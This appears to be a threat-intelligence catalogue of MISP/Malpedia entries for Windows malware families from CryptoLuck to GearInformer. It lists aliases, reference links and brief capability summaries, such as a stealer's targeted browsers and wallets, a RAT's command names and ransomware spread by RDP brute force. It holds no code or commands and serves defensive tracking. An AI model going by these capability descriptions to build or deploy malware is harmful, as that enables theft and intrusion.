https://www.secureworks.com/research/cryptolocker-ransomware |
CryptoLuck
The tag is: misp-galaxy:malpedia="CryptoLuck"
CryptoLuck is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoluck |
CryptoMix
The tag is: misp-galaxy:malpedia="CryptoMix"
CryptoMix is also known as:
-
CryptFile2
Cryptorium
The tag is: misp-galaxy:malpedia="Cryptorium"
Cryptorium is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptorium |
CryptoShield
The tag is: misp-galaxy:malpedia="CryptoShield"
CryptoShield is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshield |
CryptoShuffler
The tag is: misp-galaxy:malpedia="CryptoShuffler"
CryptoShuffler is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshuffler |
Cryptowall
The tag is: misp-galaxy:malpedia="Cryptowall"
Cryptowall is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowall |
CryptoWire
The tag is: misp-galaxy:malpedia="CryptoWire"
CryptoWire is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowire |
CryptoFortress
The tag is: misp-galaxy:malpedia="CryptoFortress"
CryptoFortress is also known as:
CryptoRansomeware
The tag is: misp-galaxy:malpedia="CryptoRansomeware"
CryptoRansomeware is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_ransomeware |
https://twitter.com/JaromirHorejsi/status/818369717371027456 |
CryptXXXX
The tag is: misp-galaxy:malpedia="CryptXXXX"
CryptXXXX is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptxxxx |
https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/ |
CsExt
The tag is: misp-galaxy:malpedia="CsExt"
CsExt is also known as:
Links |
Cuegoe
The tag is: misp-galaxy:malpedia="Cuegoe"
Cuegoe is also known as:
-
Windshield?
Cueisfry
The tag is: misp-galaxy:malpedia="Cueisfry"
Cueisfry is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cueisfry |
Cutlet
The tag is: misp-galaxy:malpedia="Cutlet"
Cutlet is also known as:
Links |
http://www.vkremez.com/2017/12/lets-learn-cutlet-atm-malware-internals.html |
Cutwail
The tag is: misp-galaxy:malpedia="Cutwail"
Cutwail is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cutwail |
CyberGate
The tag is: misp-galaxy:malpedia="CyberGate"
CyberGate is also known as:
-
Rebhip
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cybergate |
CyberSplitter
The tag is: misp-galaxy:malpedia="CyberSplitter"
CyberSplitter is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cyber_splitter |
CycBot
The tag is: misp-galaxy:malpedia="CycBot"
CycBot is also known as:
Links |
https://www.welivesecurity.com/2011/07/14/cycbot-ready-to-ride/ |
Dairy
The tag is: misp-galaxy:malpedia="Dairy"
Dairy is also known as:
Links |
DanaBot
Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.
The tag is: misp-galaxy:malpedia="DanaBot"
DanaBot is also known as:
DarkComet
The tag is: misp-galaxy:malpedia="DarkComet"
DarkComet is also known as:
-
Fynloski
-
klovbot
DarkMegi
The tag is: misp-galaxy:malpedia="DarkMegi"
DarkMegi is also known as:
Darkmoon
The tag is: misp-galaxy:malpedia="Darkmoon"
Darkmoon is also known as:
-
Chymine
DarkPulsar
The tag is: misp-galaxy:malpedia="DarkPulsar"
DarkPulsar is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpulsar |
https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/ |
DarkShell
DarkShell is a DDoS bot seemingly of Chinese origin, discovered in 2011. During 2011, DarkShell was reported to target the industrial food processing industry.
The tag is: misp-galaxy:malpedia="DarkShell"
DarkShell is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkshell |
Darksky
DarkSky is a botnet that is capable of downloading malware, conducting a number of network and application-layer distributed denial-of-service (DDoS) attacks, and detecting and evading security controls, such as sandboxes and virtual machines. It is advertised for sale on the dark web for $20. Much of the malware that DarkSky has available to download onto targeted systems is associated with cryptocurrency-mining activity. The DDoS attacks that DarkSky can perform include DNS amplification attacks, TCP (SYN) flood, UDP flood, and HTTP flood. The botnet can also perform a check to determine whether or not the DDoS attack succeeded and turn infected systems into a SOCKS/HTTP proxy to route traffic to a remote server.
The tag is: misp-galaxy:malpedia="Darksky"
Darksky is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.darksky |
DarkStRat
The tag is: misp-galaxy:malpedia="DarkStRat"
DarkStRat is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkstrat |
https://www.welivesecurity.com/2014/11/12/korplug-military-targeted-attacks-afghanistan-tajikistan/ |
DarkTequila
Dark Tequila is a complex malicious campaign targeting Mexican users, with the primary purpose of stealing financial information, as well as login credentials to popular websites that range from code versioning repositories to public file storage accounts and domain registrars.
The tag is: misp-galaxy:malpedia="DarkTequila"
DarkTequila is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.darktequila |
Darktrack RAT
The tag is: misp-galaxy:malpedia="Darktrack RAT"
Darktrack RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.darktrack_rat |
https://nioguard.blogspot.de/2017/05/targeted-attack-against-ukrainian.html |
Daserf
The tag is: misp-galaxy:malpedia="Daserf"
Daserf is also known as:
-
Muirim
-
Nioupale
Datper
The tag is: misp-galaxy:malpedia="Datper"
Datper is also known as:
Links |
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses |
http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html |
DDKONG
The tag is: misp-galaxy:malpedia="DDKONG"
DDKONG is also known as:
Links |
Decebal
The tag is: misp-galaxy:malpedia="Decebal"
Decebal is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.decebal |
https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf |
Delta(Alfa,Bravo, …)
The tag is: misp-galaxy:malpedia="Delta(Alfa,Bravo, …)"
Delta(Alfa,Bravo, …) is also known as:
Links |
https://www.arbornetworks.com/blog/asert/pivoting-off-hidden-cobra-indicators/ |
Dented
Dented is a banking bot written in C. It supports IE, Firefox, Chrome, Opera and Edge and comes with a simple POS grabber. Due to its modularity, reverse socks 5, tor and vnc can be added.
The tag is: misp-galaxy:malpedia="Dented"
Dented is also known as:
Links |
DeputyDog
The tag is: misp-galaxy:malpedia="DeputyDog"
DeputyDog is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog |
DeriaLock
The tag is: misp-galaxy:malpedia="DeriaLock"
DeriaLock is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.deria_lock |
Derusbi
A DLL backdoor also reported publicly as “Derusbi”, capable of obtaining directory, file, and drive listing; creating a reverse shell; performing screen captures; recording video and audio; listing, terminating, and creating processes; enumerating, starting, and deleting registry keys and values; logging keystrokes, returning usernames and passwords from protected storage; and renaming, deleting, copying, moving, reading, and writing to files.
The tag is: misp-galaxy:malpedia="Derusbi"
Derusbi is also known as:
-
PHOTO
Devil’s Rat
The tag is: misp-galaxy:malpedia="Devil’s Rat"
Devil’s Rat is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.devils_rat |
Dexter
The tag is: misp-galaxy:malpedia="Dexter"
Dexter is also known as:
-
LusyPOS
Dharma
According to MalwareBytes, the Dharma Ransomware family is installed manually by attackers hacking into computers over Remote Desktop Protocol Services (RDP). The attackers will scan the Internet for computers running RDP, usually on TCP port 3389, and then attempt to brute force the password for the computer.
Once they gain access to the computer they will install the ransomware and let it encrypt the computer. If the attackers are able to encrypt other computers on the network, they will attempt to do so as well.
The tag is: misp-galaxy:malpedia="Dharma"
Dharma is also known as:
-
Arena
-
Crysis
Links |
https://www.bleepingcomputer.com/news/security/new-arena-crysis-ransomware-variant-released/ |
DiamondFox
The tag is: misp-galaxy:malpedia="DiamondFox"
DiamondFox is also known as:
-
Crystal
-
Gorynch
-
Gorynych
Dimnie
The tag is: misp-galaxy:malpedia="Dimnie"
Dimnie is also known as:
Links |
http://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie-hiding-plain-sight/ |
DirCrypt
The tag is: misp-galaxy:malpedia="DirCrypt"
DirCrypt is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.dircrypt |
https://www.checkpoint.com/download/public-files/TCC_WP_Hacking_The_Hacker.pdf |
DispenserXFS
The tag is: misp-galaxy:malpedia="DispenserXFS"
DispenserXFS is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.dispenserxfs |
DistTrack
The tag is: misp-galaxy:malpedia="DistTrack"
DistTrack is also known as:
DMA Locker
The tag is: misp-galaxy:malpedia="DMA Locker"
DMA Locker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.dma_locker |
https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-strikes-back/ |
DMSniff
DMSniff is a point-of-sale malware previously only privately sold. It has been used in breaches of small- and medium-sized businesses in the restaurant and entertainment industries. It uses a domain generation algorithm (DGA) to create lists of command-and-control domains on the fly.
The tag is: misp-galaxy:malpedia="DMSniff"
DMSniff is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.dmsniff |
DNSMessenger
DNSMessenger makes use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker.
The tag is: misp-galaxy:malpedia="DNSMessenger"
DNSMessenger is also known as:
-
TEXTMATE
DNSpionage
The tag is: misp-galaxy:malpedia="DNSpionage"
DNSpionage is also known as:
-
Agent Drable
-
Webmask
DogHousePower
DogHousePower is a PyInstaller-based ransomware targeting web and database servers. It is delivered through a PowerShell downloader and was hosted on Github.
The tag is: misp-galaxy:malpedia="DogHousePower"
DogHousePower is also known as:
-
Shelma
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.doghousepower |
NgrBot
The tag is: misp-galaxy:malpedia="NgrBot"
NgrBot is also known as:
Dorshel
The tag is: misp-galaxy:malpedia="Dorshel"
Dorshel is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.dorshel |
DoublePulsar
The tag is: misp-galaxy:malpedia="DoublePulsar"
DoublePulsar is also known as:
Downdelph
The tag is: misp-galaxy:malpedia="Downdelph"
Downdelph is also known as:
-
DELPHACY
Downeks
The tag is: misp-galaxy:malpedia="Downeks"
Downeks is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.downeks |
DownPaper
The tag is: misp-galaxy:malpedia="DownPaper"
DownPaper is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.downpaper |
DramNudge
The tag is: misp-galaxy:malpedia="DramNudge"
DramNudge is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.dramnudge |
DreamBot
2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*) 2014 Dreambot (Gozi ISFB variant)
In 2014, a variant of Gozi ISFB was developed. Mainly, the dropper performs additional anti-vm checks (vmware, vbox, qemu), while the actual bot-dll remains unchanged in most parts. New functionality, such as TOR support, was added though and often, the Fluxxy fast-flux network is used.
See win.gozi for additional historical information.
The tag is: misp-galaxy:malpedia="DreamBot"
DreamBot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.dreambot |
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality |
Dridex
OxCERT blog describes Dridex as "an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server. These C&C servers are numerous and scattered all over the Internet, if the malware cannot reach one server it will try another. For this reason, network-based measures such as blocking the C&C IPs is effective only in the short-term." According to MalwareBytes, "Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware. However, once new versions of Microsoft Office came out and users generally updated, such a threat subsided because it was no longer simple to infect a user with this method." IBM X-Force discovered "a new version of the Dridex banking Trojan that takes advantage of a code injection technique called AtomBombing to infect systems. AtomBombing is a technique for injecting malicious code into the 'atom tables' that almost all versions of Windows uses to store certain application data. It is a variation of typical code injection attacks that take advantage of input validation errors to insert and to execute malicious code in a legitimate process or application. Dridex v4 is the first malware that uses the AtomBombing process to try and infect systems."
The tag is: misp-galaxy:malpedia="Dridex"
Dridex is also known as:
DRIFTPIN
Driftpin is a small and simple backdoor that enables the attackers to assess the victim. When executed the trojan connects to a C&C server and receives commands to grab screenshots, enumerate running processes and get information about the system and campaign ID.
The tag is: misp-galaxy:malpedia="DRIFTPIN"
DRIFTPIN is also known as:
-
Spy.Agent.ORM
-
Toshliph
DROPSHOT
The tag is: misp-galaxy:malpedia="DROPSHOT"
DROPSHOT is also known as:
DtBackdoor
The tag is: misp-galaxy:malpedia="DtBackdoor"
DtBackdoor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.dtbackdoor |
DualToy (Windows)
The tag is: misp-galaxy:malpedia="DualToy (Windows)"
DualToy (Windows) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.dualtoy |
DarkHotel
The tag is: misp-galaxy:malpedia="DarkHotel"
DarkHotel is also known as:
DUBrute
The tag is: misp-galaxy:malpedia="DUBrute"
DUBrute is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.dubrute |
Dumador
The tag is: misp-galaxy:malpedia="Dumador"
Dumador is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.dumador |
DuQu
The tag is: misp-galaxy:malpedia="DuQu"
DuQu is also known as:
Links |
Duuzer
The tag is: misp-galaxy:malpedia="Duuzer"
Duuzer is also known as:
Links |
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group |
Dyre
The tag is: misp-galaxy:malpedia="Dyre"
Dyre is also known as:
-
Dyreza
Links |
https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/ |
EDA2
The tag is: misp-galaxy:malpedia="EDA2"
EDA2 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.eda2_ransom |
https://twitter.com/JaromirHorejsi/status/815861135882780673 |
EHDevel
The tag is: misp-galaxy:malpedia="EHDevel"
EHDevel is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ehdevel |
ElectricPowder
The tag is: misp-galaxy:malpedia="ElectricPowder"
ElectricPowder is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.electric_powder |
Elirks
The tag is: misp-galaxy:malpedia="Elirks"
Elirks is also known as:
Links |
Elise
The tag is: misp-galaxy:malpedia="Elise"
Elise is also known as:
Links |
https://www.accenture.com/t20180127T003755Zw/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf[https://www.accenture.com/t20180127T003755Zw/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf] |
https://securelist.com/blog/research/70726/the-spring-dragon-apt/ |
ELMER
ELMER is a non-persistent proxy-aware HTTP backdoor written in Delphi, and is capable of performing file uploads and downloads, file execution, and process and directory listings. To retrieve commands, ELMER sends HTTP GET requests to a hard-coded CnC server, and parses the HTTP response packets received from the CnC server for an integer string corresponding to the command that needs to be executed.
The tag is: misp-galaxy:malpedia="ELMER"
ELMER is also known as:
-
Elmost
Links |
https://www.symantec.com/security-center/writeup/2015-122210-5724-99 |
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html |
Emdivi
The tag is: misp-galaxy:malpedia="Emdivi"
Emdivi is also known as:
Emotet
The tag is: misp-galaxy:malpedia="Emotet"
Emotet is also known as:
-
Geodo
-
Heodo
Empire Downloader
The tag is: misp-galaxy:malpedia="Empire Downloader"
Empire Downloader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.empire_downloader |
Enfal
The tag is: misp-galaxy:malpedia="Enfal"
Enfal is also known as:
-
Lurid
EquationDrug
The tag is: misp-galaxy:malpedia="EquationDrug"
EquationDrug is also known as:
Equationgroup (Sorting)
Rough collection EQGRP samples, to be sorted
The tag is: misp-galaxy:malpedia="Equationgroup (Sorting)"
Equationgroup (Sorting) is also known as:
Erebus (Windows)
The tag is: misp-galaxy:malpedia="Erebus (Windows)"
Erebus (Windows) is also known as:
Links |
Eredel
Eredel Stealer is a low price malware that allows for extracting passwords, cookies, screen desktop from browsers and programs.
According to nulled[.]to:
Supported browsers Chromium Based: Chromium, Google Chrome, Kometa, Amigo, Torch, Orbitum, Opera, Opera Neon, Comodo Dragon, Nichrome (Rambler), Yandex Browser, Maxthon5, Sputnik, Epic Privacy Browser, Vivaldi, CocCoc and other Chromium Based browsers.
-
Stealing FileZilla
-
Stealing an account from Telegram
-
Stealing AutoFill
-
Theft of wallets: Bitcoin | Dash | Monero | Electrum | Ethereum | Litecoin
-
Stealing files from the desktop. Supports any formats, configurable via telegram-bot
The tag is: misp-galaxy:malpedia="Eredel"
Eredel is also known as:
Links |
EternalPetya
The tag is: misp-galaxy:malpedia="EternalPetya"
EternalPetya is also known as:
-
BadRabbit
-
Diskcoder.C
-
ExPetr
-
NonPetya
-
NotPetya
-
Nyetya
-
Petna
-
Pnyetya
-
nPetya
EtumBot
The tag is: misp-galaxy:malpedia="EtumBot"
EtumBot is also known as:
-
HighTide
Evilbunny
The tag is: misp-galaxy:malpedia="Evilbunny"
Evilbunny is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilbunny |
EvilGrab
The tag is: misp-galaxy:malpedia="EvilGrab"
EvilGrab is also known as:
-
Vidgrab
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilgrab |
EVILNUM (Windows)
The tag is: misp-galaxy:malpedia="EVILNUM (Windows)"
EVILNUM (Windows) is also known as:
EvilPony
Privately modded version of the Pony stealer.
The tag is: misp-galaxy:malpedia="EvilPony"
EvilPony is also known as:
-
CREstealer
Evrial
The tag is: misp-galaxy:malpedia="Evrial"
Evrial is also known as:
Links |
Excalibur
The tag is: misp-galaxy:malpedia="Excalibur"
Excalibur is also known as:
-
Saber
-
Sabresac
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.excalibur |
https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies |
MS Exchange Tool
The tag is: misp-galaxy:malpedia="MS Exchange Tool"
MS Exchange Tool is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.exchange_tool |
Exile RAT
ExileRAT is a simple RAT platform capable of getting information on the system (computer name, username, listing drives, network adapter, process name), getting/pushing files and executing/terminating processes.
The tag is: misp-galaxy:malpedia="Exile RAT"
Exile RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.exilerat |
https://blog.talosintelligence.com/2019/02/exilerat-shares-c2-with-luckycat.html |
Xtreme RAT
The tag is: misp-galaxy:malpedia="Xtreme RAT"
Xtreme RAT is also known as:
-
ExtRat
Eye Pyramid
The tag is: misp-galaxy:malpedia="Eye Pyramid"
Eye Pyramid is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.eye_pyramid |
https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/ |
FakeDGA
According to Talos, this trojan injects into other processes, disables security features and tries to contact several domains, waiting for instruction.
There seem to be two versions of this malware: one with the FakeDGA-domains in plaintext, and one with AES-ECB-encrypted domains (using the Windows-API).
The tag is: misp-galaxy:malpedia="FakeDGA"
FakeDGA is also known as:
-
WillExec
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.fakedga |
http://blog.talosintelligence.com/2017/10/threat-round-up-1020-1017.html |
FakeRean
The tag is: misp-galaxy:malpedia="FakeRean"
FakeRean is also known as:
-
Braviax
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.fakerean |
https://blog.threattrack.com/fakerean-comes-of-age-turns-hard-core/ |
FakeTC
The tag is: misp-galaxy:malpedia="FakeTC"
FakeTC is also known as:
Links |
http://www.welivesecurity.com/2015/07/30/operation-potao-express/ |
Fanny
The tag is: misp-galaxy:malpedia="Fanny"
Fanny is also known as:
Links |
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1 |
FantomCrypt
The tag is: misp-galaxy:malpedia="FantomCrypt"
FantomCrypt is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.fantomcrypt |
https://www.webroot.com/blog/2016/08/29/fantom-ransomware-windows-update/ |
Farseer
The tag is: misp-galaxy:malpedia="Farseer"
Farseer is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.farseer |
FastPOS
The tag is: misp-galaxy:malpedia="FastPOS"
FastPOS is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos |
http://documents.trendmicro.com/assets/fastPOS-quick-and-easy-credit-card-theft.pdf |
Felismus
The tag is: misp-galaxy:malpedia="Felismus"
Felismus is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.felismus |
Felixroot
The tag is: misp-galaxy:malpedia="Felixroot"
Felixroot is also known as:
Feodo
Feodo (also known as Cridex or Bugat) is a Trojan used to commit e-banking fraud and to steal sensitive information from the victims computer, such as credit card details or credentials.
The tag is: misp-galaxy:malpedia="Feodo"
Feodo is also known as:
-
Bugat
-
Cridex
FF RAT
The tag is: misp-galaxy:malpedia="FF RAT"
FF RAT is also known as:
Links |
https://www.cylance.com/en_us/blog/breaking-down-ff-rat-malware.html |
FileIce
The tag is: misp-galaxy:malpedia="FileIce"
FileIce is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.fileice_ransom |
Final1stSpy
The tag is: misp-galaxy:malpedia="Final1stSpy"
Final1stSpy is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.final1stspy |
https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/ |
FindPOS
The tag is: misp-galaxy:malpedia="FindPOS"
FindPOS is also known as:
-
Poseidon
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos |
https://researchcenter.paloaltonetworks.com/2015/03/findpos-new-pos-malware-family-discovered/ |
FinFisher RAT
The tag is: misp-galaxy:malpedia="FinFisher RAT"
FinFisher RAT is also known as:
-
FinSpy
Fireball
The tag is: misp-galaxy:malpedia="Fireball"
Fireball is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.fireball |
http://blog.checkpoint.com/2017/06/01/fireball-chinese-malware-250-million-infection/ |
FireCrypt
The tag is: misp-galaxy:malpedia="FireCrypt"
FireCrypt is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.firecrypt |
https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/ |
FireMalv
The tag is: misp-galaxy:malpedia="FireMalv"
FireMalv is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.firemalv |
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf |
FirstRansom
The tag is: misp-galaxy:malpedia="FirstRansom"
FirstRansom is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.first_ransom |
https://twitter.com/JaromirHorejsi/status/815949909648150528 |
Flame
The tag is: misp-galaxy:malpedia="Flame"
Flame is also known as:
Links |
https://storage.googleapis.com/chronicle-research/Flame%202.0%20Risen%20from%20the%20Ashes.pdf |
FLASHFLOOD
FLASHFLOOD will scan inserted removable drives for targeted files, and copy those files from the removable drive to the FLASHFLOOD-infected system. FLASHFLOOD may also log or copy additional data from the victim computer, such as system information or contacts.
The tag is: misp-galaxy:malpedia="FLASHFLOOD"
FLASHFLOOD is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.flashflood |
FlawedAmmyy
The tag is: misp-galaxy:malpedia="FlawedAmmyy"
FlawedAmmyy is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedammyy |
FlawedGrace
According to ProofPoint, FlawedGrace is written in C++ and can be categorized as a Remote Access Trojan (RAT). It seems to have been developed in the second half of 2017 mainly.
FlawedGrace uses a series of commands: FlawedGrace also uses a series of commands, provided below for reference: * desktop_stat * destroy_os * target_download * target_module_load * target_module_load_external * target_module_unload * target_passwords * target_rdp * target_reboot * target_remove * target_script * target_servers * target_update * target_upload
The tag is: misp-galaxy:malpedia="FlawedGrace"
FlawedGrace is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace |
FlexiSpy (Windows)
The tag is: misp-galaxy:malpedia="FlexiSpy (Windows)"
FlexiSpy (Windows) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.flexispy |
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/ |
FlokiBot
The tag is: misp-galaxy:malpedia="FlokiBot"
FlokiBot is also known as:
FlowerShop
The tag is: misp-galaxy:malpedia="FlowerShop"
FlowerShop is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.flowershop |
https://storage.googleapis.com/chronicle-research/STUXSHOP%20Stuxnet%20Dials%20In%20.pdf |
Floxif
The tag is: misp-galaxy:malpedia="Floxif"
Floxif is also known as:
Links |
https://www.virusbulletin.com/virusbulletin/2012/12/compromised-library |
Flusihoc
Available since 2015, Flusihoc is a versatile C++ malware capable of a variety of DDoS attacks as directed by a Command and Control server. Flusihoc communicates with its C2 via HTTP in plain text.
The tag is: misp-galaxy:malpedia="Flusihoc"
Flusihoc is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.flusihoc |
https://www.arbornetworks.com/blog/asert/the-flusihoc-dynasty-a-long-standing-ddos-botnet/ |
Fobber
The tag is: misp-galaxy:malpedia="Fobber"
Fobber is also known as:
Formbook
FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
The tag is: misp-galaxy:malpedia="Formbook"
Formbook is also known as:
FormerFirstRAT
The tag is: misp-galaxy:malpedia="FormerFirstRAT"
FormerFirstRAT is also known as:
-
ffrat
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat |
Freenki Loader
The tag is: misp-galaxy:malpedia="Freenki Loader"
Freenki Loader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.freenki |
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html |
FriedEx
The tag is: misp-galaxy:malpedia="FriedEx"
FriedEx is also known as:
-
BitPaymer
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex |
https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/ |
Furtim
The tag is: misp-galaxy:malpedia="Furtim"
Furtim is also known as:
Links |
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4341&sid=af76b944112a234fa933cc934d21cd9f |
GalaxyLoader
GalaxyLoader is a simple .NET loader. Its name stems from the .pdb and the function naming.
It seems to make use of iplogger.com for tracking. It employed WMI to check the system for - IWbemServices::ExecQuery - SELECT * FROM Win32_Processor - IWbemServices::ExecQuery - select * from Win32_VideoController - IWbemServices::ExecQuery - SELECT * FROM AntivirusProduct
The tag is: misp-galaxy:malpedia="GalaxyLoader"
GalaxyLoader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.galaxyloader |
gamapos
The tag is: misp-galaxy:malpedia="gamapos"
gamapos is also known as:
-
pios
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.gamapos |
http://documents.trendmicro.com/assets/GamaPOS_Technical_Brief.pdf |
Gameover DGA
The tag is: misp-galaxy:malpedia="Gameover DGA"
Gameover DGA is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_dga |
Gameover P2P
Gameover ZeuS is a peer-to-peer botnet based on components from the earlier ZeuS trojan. According to a report by Symantec, Gameover Zeus has largely been used for banking fraud and distribution of the CryptoLocker ransomware. In early June 2014, the U.S. Department of Justice announced that an international inter-agency collaboration named Operation Tovar had succeeded in temporarily cutting communication between Gameover ZeuS and its command and control servers.
The tag is: misp-galaxy:malpedia="Gameover P2P"
Gameover P2P is also known as:
-
GOZ
-
ZeuS P2P
Gamotrol
The tag is: misp-galaxy:malpedia="Gamotrol"
Gamotrol is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.gamotrol |
Gandcrab
The tag is: misp-galaxy:malpedia="Gandcrab"
Gandcrab is also known as:
-
GrandCrab
Gaudox
Gaudox is a http loader, written in C/C++. The author claims to have put much effort into making this bot efficient and stable. Its rootkit functionality hides it in Windows Explorer (32bit only).
The tag is: misp-galaxy:malpedia="Gaudox"
Gaudox is also known as:
Links |
http://nettoolz.blogspot.ch/2016/03/gaudox-http-bot-1101-casm-ring3-rootkit.html |
Gauss
The tag is: misp-galaxy:malpedia="Gauss"
Gauss is also known as:
Links |
http://contagiodump.blogspot.com/2012/08/gauss-samples-nation-state-cyber.html |
Gazer
The tag is: misp-galaxy:malpedia="Gazer"
Gazer is also known as:
-
WhiteBear
Links |
https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/ |
gcman
The tag is: misp-galaxy:malpedia="gcman"
gcman is also known as:
Links |
GearInformer
The tag is: misp-galaxy:malpedia="GearInformer"
GearInformer is also known as:
